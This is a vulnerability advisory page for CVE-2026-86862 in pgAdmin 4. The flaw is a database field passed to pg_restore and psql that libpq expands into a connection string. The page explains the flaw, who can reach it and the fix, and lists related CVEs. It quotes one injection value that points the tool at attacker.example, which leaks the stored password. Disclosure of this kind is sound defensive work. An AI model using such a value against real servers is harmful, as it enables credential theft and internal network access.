CVE-2026-86862

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

• CWE-88
• CWE-522
• CWE-918

• https://github.com/pgadmin-org/pgadmin4/issues/10388Exploit, Patch, Vendor Advisory

Published

Sep 17, 2026

Last Modified

Sep 21, 2026

Status

Analyzed

• One Click Account Takeover in GranolaHow a notification link broke out of Electron and led to a one-click account takeover.
• Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
• PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
• AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.

• CVE-2026-86840The `vtoken-minting` and `slpx` pallets in Bifrost contain a…9.1
• CVE-2026-86842The Real3D Flipbook WordPress plugin before 5.4 does not pe…
• CVE-2026-8685The Infility Global plugin for WordPress is vulnerable to SQ…6.5
• CVE-2026-86853A malicious webpage could repeatedly trigger external URL sc…4.3
• CVE-2026-8686Missing bounds validation in the MQTT v5.0 property parser i…9.1
• CVE-2026-86861pgAdmin 4's File Manager save_file endpoint, which backs sav…5.9
• CVE-2026-86863pgAdmin 4's Webserver authentication source is intended to a…9.8
• CVE-2026-86864pgAdmin 4's Backup tool appended the client-supplied 'databa…8.8
• CVE-2026-86865Tanium addressed a SQL injection vulnerability in Asset.7.2
• CVE-2026-86869An out-of-bounds write issue was addressed with improved bou…6.5
• CVE-2026-86870A heap buffer overflow was addressed with improved bounds ch…6.5
• CVE-2026-86876An out-of-bounds write issue was addressed with improved bou…5.2